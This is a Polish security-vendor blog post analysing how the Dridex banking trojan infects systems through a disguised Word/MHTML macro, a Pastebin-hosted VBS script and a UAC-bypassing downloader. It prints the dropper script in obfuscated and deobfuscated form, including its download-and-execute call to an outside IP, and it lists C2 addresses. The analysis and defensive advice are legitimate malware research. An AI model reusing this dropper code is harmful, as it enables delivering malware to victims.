Przejdź do głównej zawartości

Dridex i wykryta metoda infekcji

Autorzy bankowych trojanów wykorzystują sztuczki z wykorzystaniem pakietu Microsoft Office, aby zainfekować systemy. 

Twórcy bankowych trojanów, aby oszukać użytkowników, a tym samym ominąć różnego rodzaju zabezpieczenia, wykazują się coraz większą kreatywnością,. Eksperci G DATA SecurityLabs dokonali analizy specjalnie spreparowanego dokumentu programu Microsoft Word, który posłużył do instalacji złośliwego trojana bankowego o nazwie Dridex. Ten złośliwy dokument powoduje, że nieświadomy użytkownik łączy się ze stroną internetową i pobiera złośliwe oprogramowanie. Tego typu ataki coraz częściej są wymierzone przeciwko firmom, zwłaszcza MSP, w różnych częściach globu. 

Infekcja krok po kroku 

Krok 1: Kampania spamowa.

Proces rozpoczyna się od wysłania tysięcy e-maili do potencjalnych ofiar, zawierających informacje o rzekomym zamówieniu. W załączniku znajduje się dokument Microsoft Office z fałszywą fakturą. 

Krok 2. Otwarcie dokumentu Microsoft Office

Dokument nazywa się YU96260LFZ.doc natomiast Secure Hash Algorithm,  dzięki któremu można dokładnie określić i zidentyfikować  plik, przedstawia się następująco: 

SHA256  e2d878a43607c04f151052e81a560a80525a343ea4e719c3a79e1cc8c45e47c5 

Nazwa rozszerzenia sugeruje, że mamy do czynienia z plikiem typu .doc, jednak w rzeczywistości jest to dokument MHTML. To standard dodawania zasobów, które w normalnych stronach HTTP są pobierane z zewnątrz, takich jak obrazy lub pliki dźwiękowe, do tego samego pliku co kod HTML. Protokół jest wspierany przez Microsoft Word, używający rozszerzenia mht. Zakładamy, że napastnik oryginalnie wygenerował plik .mht i zamienił rozszerzenie na .doc. Dlaczego? Cyberprzestępcy używają znanych i popularnych rozszerzeń, bowiem użytkownicy nie obawiają się otwierać dokumentów ze znanymi końcówkami. Ponadto pliki .mht oraz .doc dzielą tę samą ikonę, w rezultacie użytkownicy stają się mniej podejrzliwi. 

Poniższy dokument zawiera makro. Kiedy użytkownik otworzy dokument widzi następującą wiadomość. 


Komunikat na samej górze informuje, że makro jest wyłączone, co jest dobrą informacją dla użytkownika. Pozostałe trzy linijki są kompletnie nieczytelne. Warto także zwrócić uwagę na wpis „If you document has ……” zawiera błąd gramatyczny – zamiast „you” powinno pojawić się „your”.

Co się dzieje dalej? Oczywiście uruchomienie makra, powoduje, że użytkownik pobiera złośliwy kod.

paul@gdata:~/ $ oledump.py -p plugin_http_heuristics.py file.mso
  1:         541 'PROJECT'
  2:         98 'PROJECTwm'
  3: m     818 'VBA/Module2'
               Plugin: HTTP Heuristics plugin
                 Module2
  4: M    1607 'VBA/ThisDocument'
               Plugin: HTTP Heuristics plugin
                 'N\x18\xac\x0e\x87.\x99\xe9\xed'
  5:      3262 'VBA/_VBA_PROJECT'
  6:       627 'VBA/dir'
  7: M    5305
'VBA/\xd0\xb0\xd1\x86\xd1\x83\xd0\xba34\xd0\xba\xd1\x86\xd1\x83\xd0\xbc'
               Plugin: HTTP Heuristics plugin
                 hxxp://pastebin.com/download.php?i=VTd9HVkz

Pastebin.com to strona internetowa umożliwiające tymczasowe przechowywanie dokumentów tekstowych oraz możliwość ich współdzielenia, poprzez udostępnianie linku. Gro użytkowników serwisu stanowią developerzy przechowujący kody źródłowe, co jeszcze bardziej go uwiarygodnia w oczach potencjalnych ofiar. Poza tym wygodna i przejrzysta obsługa serwisu znacznie ułatwia zadanie cyberprzestępcom.  

Krok 3. Payload hostowany na  Pastebin.com

Dokument tekstowy skonfigurowany przez napastników jest udostępniany jako skrypt VBS (Visual Basic Script). Skrypt został zamaskowany w dość prosty sposób . Poniżej zamieszczamy początek zakamuflowanego kodu:

dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Chr(77) & Chr(105) &
Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) &
Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) &
Chr(84) & Chr(80) )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Chr(65) & Chr(100) &
Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) )
HGyu87f7Usf.Open "GET", "http://91.227.18.18/stat/get.php", False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) &
Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) &
Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )
iyUGbuwerff = dfgfderer(Chr(65) & Chr(80) & Chr(80) & Chr(68) & Chr(65) & Chr(84) & Chr(65) )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + Chr(92) & Chr(111) & Chr(56) & Chr(50) & Chr(51) & Chr(55) & Chr(52) & Chr(50) & Chr(51) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
with oUIOGuiwefff
   .type = 1
    .open
    .write HGyu87f7Usf.responseBody
    .savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) &
Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ

Poniżej odmaskowany kod:

dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Microsoft.XMLHTTP )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Adodb.Stream )
HGyu87f7Usf.Open "GET", "http://91.227.18.18/stat/get.php", False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )
iyUGbuwerff = dfgfderer(APPDATA )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe
with oUIOGuiwefff
   .type = 1
    .open
    .write HGyu87f7Usf.responseBody
    .savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Shell.Application )
uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
 

VBS został pobrany i wykonany (the/get.php link) zainstalowany w %APPDATA% jako plik o nazwie o8237423.exe.

Krok 4. Downloader & payload

Plik o8237423.exe to downloader. Zanim się uruchomi, dąży do uzyskania uprawnień administratora  przez ominięcie UAC ( Kontrola konta użytkownika). Downloader wykonuje to zadanie, wykorzystując popularny trik polegający na ukryciu okienka UAC. W tym celu posługuje się plikiem .sdb, Więcej informacji na temat UAC można znaleźć na stronie ttps://support.microsoft.com/en-us/kb/3045645. Uaktualnienie, o którym informuje Microsoft,   określa się  jako opcjonalne. Jednak zalecamy jego zastosowanie, aby zapobiec opisanym powyżej próbom oszustwa.

Pobrany komponent generuje konfigurację wymaganą do działania i rozprzestrzeniania trojana Dridex. Więcej informacji o bankowych trojanach można znaleźć na stronie .. https://secure.gd/dl-en-pcmwr201402.

Poniżej znajduje się przykładowa konfiguracja próbki Trojana, który zaatakował użytkowników we Francji i Wielkiej Brytanii.

<config
botnet_id=120
Servers= 46.36.217.227:3443, 159.253.20.116:4443, 5.44.216.44:1443, 91.218.228.25:8443
/>

Ostatecznie biblioteka (payload)  została  pobrana z jednego serwerów, wymienionych w konfiguracji. Hash tej biblioteki przedstawia się następująco: 0305dda6ec81e8d8ff90152094d5e5e0f8914aeb6d984ee48d72f405a9b90f90 i jest dopasowany do głównego payloadu trojana Dridex. 

Przykłady ataków trojana Dridex w różnych krajach

Słyszeliśmy i czytaliśmy o kilku przypadkach , kiedy ataki przeprowadzane za pomocą Dridexa zakończyły się sukcesem, czyli kradzieżą pieniędzy z firmowych kont, najczęściej dotyczyły  one MSP. W maju Trojan wykazywał się szczególnie dużą aktywnością w Belgii, gdzie zainfekował 35 tys. maszyn wykorzystujących  specjalistyczne  systemy bankowe. Również media we Francji szeroko informowały o pojawieniu się zagrożenia Dridex.

Wnioski

Cyberprzestępcy ciągle poszukują innowacyjnych metod pozwalających uśpić czujność ludzką i ominąć systemy bezpieczeństwa.. W tym celu wykorzystują zaufane serwisy internetowe oraz niestandardowe dokumenty Microsoft Office. Produkty G DATA doskonale współpracują z innymi aplikacjami i wykrywają wszelkie podejrzane działania. Technologia G DATA BankGuard chroni komputery przed trojanami bankowym, w tym Dridexem. Wreszcie, twórcy szkodliwego oprogramowania wykorzystują słabości systemu operacyjnego Microsoft, takie jak luki w UAC. Dlatego zalecamy instalację poprawki KB3045645, niezależnie od rekomendacji Microsoftu. 

Poza tym bez przerwy apelujemy do użytkowników, żeby nie otwierać załączników e-maili pochodzących od nieznanych nadawców oraz nie uruchamiać makr w obcych dokumentach. 
 
W ciągu ostatnich miesięcy mieliśmy do czynienia z wieloma incydentami, które pokazują, że napastnicy próbują oszukać użytkowników, posługując się znanymi i zaufanymi programami Wiele osób uważa, że są one nieszkodliwe i nic im z ich strony nie grozi, co wcale nie jest oczywiste. Dlatego miejcie oczy otwarte i zachowajcie czujność.  

Porady

Zalecamy, aby nigdy nie otwierać załączników otrzymanych od nieznanego nadawcy. Należy wykazywać się szczególnie dużą ostrożnością,  kiedy w ten sposób przesyłane są faktury.
Przed otwarciem załącznika trzeba zadać sobie kilka pytań:
  • Czy naprawdę coś zamawiałem?
  • Czy strona, z której korzystam, aby złożyć zamówienie, używa takiego samego języka podczas komunikacji e-mail. (Właściciel polskojęzycznej strony prześle wiadomość w języku polskim, a nie angielskim)
  • Czy e-mail zawiera błędy ortograficzne bądź dziwną składnię?
  • Czy e-mail zawiera dane osobiste, takie jak moje prawdziwe nazwisko, adres, numer dowodu itp.?
  • Jeśli masz jakiekolwiek wątpliwości, nie otwieraj załącznika.

Komentarze

Popularne posty z tego bloga

PUP – „programy usilnie przeszkadzające”

Internet pełny jest narzekań oraz pytań na temat potencjalnie niechcianego oprogramowania, w skrócie PUP (potenially unwanted programs). Użytkownicy skarżą się na wirusy, które zainfekowały ich przeglądarkę lub paski narzędzi, które włamały się do ich komputera.  Aplikacje z tej grupy nie są jednak przypisane do kategorii złośliwego oprogramowania w szczególności, że większości „infekcji” tego rodzaju jest dość łatwa do uniknięcia.  Ogólnie rzecz biorąc temat PUP jest wieloaspektowym problemem dla użytkowników i branży antywirusowej jednocześnie będąc dochodowym biznesem dla ich dystrybutorów.
PUP to nie malware Określenie złośliwe oprogramowanie odnosi do software’u, którego głównym celem jest wyrządzenie szkód na zainfekowanym urządzeniu lub kradzież informacji z zamiarem ich wykorzystania do działań przestępczych (kradzież tożsamości, nadużycia finansowe czy sprzedaż wykradzionych danych). Nie zawsze jednak możemy tak łatwo rozróżnić typowe złośliwe pliki od potencjalnie niechciane…

Ekspert ds. bezpieczeństwa na wakacjach: Czy hotelowe sejfy są bezpieczne?

Okres letni w mediach często nazywany ogórkowym ma swoje prawa. Jednym z nich są tematy, które normalnie nie przebiłyby się na pierwsze strony gazet czy nagłówki stron internetowych. Podobnie jest z historią, którą dziś będziemy chcieli wam przybliżyć. W normalny dzień roboczy nie jest to główne zadanie pracowników naszego SecurityLabu, jednak w okresie letnich wyjazdów postanowiliśmy sprawdzić jeden z hotelowych sejfów. I co? Z bezpieczeństwem nie ma on za dużo wspólnego.
Ekspert ds. bezpieczeństwa na wakacjach Wciąż jesteśmy na początku okresu wakacyjnego i wielu z nas długo wyczekiwany urlop ma wciąż w planach. Co powinniśmy wiedzieć wybierając się na wyjazd z wartościowymi rzeczami, na które tak ciężko pracowaliśmy przez cały rok poprzedzający nasz urlop? Jeżeli będziecie wypoczywać w hotelu możecie natknąć się w swoim pokoju na tzw. sejf hotelowy. Nasz ekspert wybrał się na zasłużoną przerwę od wyszukiwania i analizowania kolejnych wirusów i trojanów. W hotelu natknął się na popu…

Nic nie zamawiałeś? I tak możesz otrzymać maila o odbiorze paczki.

InPost i jego klienci na celowniku hakerów.
W naszych archiwalnych wpisach często mogliście natknąć się na opisy ataków lub kampanii phishingowych ukierunkowanych na użytkowników serwisu aukcyjnego Allegro. Ostatnio głośno było o nawiązaniu współpracy pomiędzy serwisem, a jednym z największych operatorów pocztowych w kraju firmą InPost. Może właśnie ta współpraca zwróciła uwagę cyberprzestępców, gdyż aktualnie jesteśmy świadkami zmasowanej kampanii phishingowej podszywającej się pod InPost.


Pracownicy G DATA SecurityLabs przechwycili i przeanalizowali fałszywe wiadomości mailowe docierające do użytkowników w całej Polsce. Za akcją prawdopodobnie stoją te same osoby, które kilka tygodni temu rozsyłały fałszywe „Powiadomienia o wciągnięciu na listę dlużników KRD”. Świadczą o tym dane dotyczące autora złośliwego pliku załączanego do wiadomości oraz wykorzystywana do uwiarygodnienia treści personalizacja samego maila, ale o tym za chwilę.


PORÓWNANIE
Adres nadawcy wiadomości o tytule „P…